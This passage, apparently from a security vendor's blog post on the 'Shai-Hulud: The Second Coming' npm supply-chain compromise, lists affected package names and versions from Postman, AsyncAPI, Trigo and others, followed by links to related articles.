@postman/mcp-ui-client5.5.1, 5.5.3
@postman/pm-bin-macos-x641.24.3, 1.24.5
@postman/final-node-keytar7.9.1, 7.9.2
@postman/pretty-ms6.1.1, 6.1.2
@postman/postman-mcp-cli1.0.3, 1.0.4
@postman/secret-scanner-wasm2.1.2, 2.1.3
@postman/wdio-junit-reporter0.0.4, 0.0.5, 0.0.6
@postman/wdio-allure-reporter0.0.7, 0.0.8
@postman/tunnel-agent0.6.5
@postman/pm-bin-linux-x641.24.3
@postman/node-keytar7.9.4
@postman/csv-parse4.0.3
@postman/aether-icons2.23.2
@asyncapi/generator-react-sdk
@asyncapi/html-template
@asyncapi/java-spring-template
@asyncapi/modelina
@asyncapi/nodejs-template
@asyncapi/nunjucks-filters
@asyncapi/python-paho-template
@asyncapi/studio
@asyncapi/diff
@asyncapi/avro-schema-parser
@asyncapi/bundler
@asyncapi/cli
@asyncapi/converter
@asyncapi/dotnet-rabbitmq-template
@asyncapi/edavisualiser
@asyncapi/generator
@asyncapi/generator-components
@asyncapi/generator-helpers
@asyncapi/go-watermill-template
@asyncapi/java-spring-cloud-stream-template
@asyncapi/java-template
@asyncapi/keeper
@asyncapi/markdown-template
@asyncapi/modelina-cli
@asyncapi/multi-parser
@asyncapi/nodejs-ws-template
@asyncapi/openapi-schema-parser
@asyncapi/optimizer
@asyncapi/parser
@asyncapi/php-template
@asyncapi/problem
@asyncapi/protobuf-schema-parser
@asyncapi/react-component
@asyncapi/server-api
@asyncapi/specs
@asyncapi/web-component
@trigo/atrix-postgres1.0.3
command-irail0.5.4
@trigo/fsm3.4.2
@trigo/trigo-hapijs5.0.1
trigo-react-app4.1.2
react-element-prompt-inspector0.1.18
bool-expressions0.1.2
atrix-mongoose1.0.1
orbit-boxicons2.1.3
@trigo/atrix7.0.1
redux-forge2.5.3
atrix1.0.1
@trigo/atrix-acl4.0.2
crypto-addr-codec
@trigo/atrix-swagger3.0.1
@trigo/atrix-soap1.0.2
@trigo/keycloak-api1.3.1
@trigo/atrix-elasticsearch2.0.1
@trigo/hapi-auth-signedlink1.3.1
@trigo/atrix-pubsub4.0.3
@trigo/atrix-orientdb1.0.2
@trigo/node-soap0.5.4
eslint-config-trigo22.0.2
@trigo/atrix-redis1.0.2
@trigo/eslint-config-trigo3.3.1
@trigo/jsdt0.2.1
@trigo/pathfinder-ui-css0.1.1
@trigo/bool-expressions
@trigo/atrix-mongoose1.0.1, 1.0.2
typeorm-orbit0.2.27
orbit-nebula-draw-tools1.0.10
@orbitgtbelgium/orbit-components1.2.9
@orbitgtbelgium/time-slider1.0.187
@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode2.0.5
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode1.1.1
orbit-soap0.43.13
orbit-nebula-editor1.0.2
@mparpaillon/imagesloaded
@mparpaillon/connector-parse
@louisle2/cortex-js0.1.6
react-component-taggers0.1.9
token.js-fork0.7.32
react-library-setup0.0.6
exact-ticker0.3.5
jan-browser0.13.1
@louisle2/core1.0.1
lite-serper-mcp-server0.2.2
cpu-instructions0.0.14
evm-checkcode-cli1.0.12, 1.0.13
bytecode-checker-cli1.0.8, 1.0.9
gate-evm-check-code22.0.3, 2.0.4
devstart-cli1.0.6
package-tester1.0.1
@trefox/sleekshop-js0.1.6
@caretive/caret-cli0.0.2
mcp-use1.4.2, 1.4.3
@mcp-use/inspector0.6.2, 0.6.3
create-mcp-use-app0.5.3, 0.5.4
@mcp-use/cli2.2.6, 2.2.7
@mcp-use/mcp-use1.0.1, 1.0.2
skills-use0.1.1, 0.1.2
zuper-cli1.0.1
test-hardhat-app1.0.1, 1.0.2
zuper-stream2.0.9
redux-router-kit1.2.2, 1.2.3
create-hardhat3-app1.1.1, 1.1.2
test-foundry-app1.0.1, 1.0.2
zuper-sdk1.0.57
gate-evm-tools-test1.0.5, 1.0.6
claude-token-updater1.0.2, 1.0.3
@markvivanco/app-version-checker
@hapheus/n8n-nodes-pgp1.5.0, 1.5.1
esbuild-plugin-httpfile
open2internet
vite-plugin-httpfile
webpack-loader-httpfile
bun-plugin-httpfile
poper-react-sdk0.1.2
@actbase/react-native-devtools
discord-bot-server
n8n-nodes-tmdb0.5.0, 0.5.1
avm-tool0.16.0-beta.1
@accordproject/concerto-analysis
@accordproject/markdown-docx
@accordproject/markdown-it-cicero
@clausehq/flows-step-jsontoxml
@ifelsedeveloper/protocol-contracts-svm-idl
@osmanekrem/error-handler
@seung-ju/next
@seung-ju/openapi-generator
@seung-ju/react-hooks
@seung-ju/react-native-action-sheet
@thedelta/eslint-config
@tiaanduplessis/json
@tiaanduplessis/react-progressbar
@varsityvibe/api-client
@varsityvibe/validation-schemas
asyncapi-preview
capacitor-plugin-apptrackingios0.0.21
capacitor-plugin-purchase0.1.1
capacitor-plugin-scgssigninwithgoogle0.0.5
capacitor-purchase-history0.0.10
capacitor-voice-recorder-wav6.0.3
expo-audio-session0.2.1
react-native-worklet-functions3.3.3
scgs-capacitor-subscribe1.0.11
scgsffcreator1.0.5
@actbase/node-server1.1.19
@actbase/react-native-fast-image8.5.13
@actbase/react-native-kakao-navi2.0.4
@actbase/react-native-less-transformer1.0.6
@actbase/react-native-simple-video1.0.13
@actbase/react-native-tiktok1.1.3
@aryanhussain/my-angular-lib0.0.23
@kvytech/cli0.0.7
@kvytech/components0.0.2
@kvytech/habbit-e2e-test0.0.2
@kvytech/medusa-plugin-announcement0.0.8
@kvytech/medusa-plugin-management0.0.5
@kvytech/medusa-plugin-newsletter0.0.5
@kvytech/medusa-plugin-product-reviews0.0.9
@kvytech/medusa-plugin-promotion0.0.2
@kvytech/web0.0.2
medusa-plugin-announcement0.0.3
medusa-plugin-momo0.0.68
medusa-plugin-product-reviews-kvy0.0.4
medusa-plugin-zalopay0.0.40
@clausehq/flows-step-sendgridemail
@fishingbooker/browser-sync-plugin
@fishingbooker/react-swiper
hopedraw
hope-mapboxdraw

Manage open source risk

Recent resources

Shai-Hulud: The Second Coming - Best SAST Tools Top 10 Solutions in 2025

Best SAST tools: Top 10 solutions in 2025

Explore the top 10 SAST tools of 2025.

Read more
Shai-Hulud: The Second Coming - Blog banner Risk Reduction Dashboard 2

AppSec metrics fail, Mend.io’s Risk Reduction Dashboard fixes it

See how Mend.io's Risk Reduction Dashboard works.

Read more
Shai-Hulud: The Second Coming - Best Application Security Testing providers

Best Application Security Testing Services to Know

Discover the best Application Security Testing (AST) services in 2025.

Read more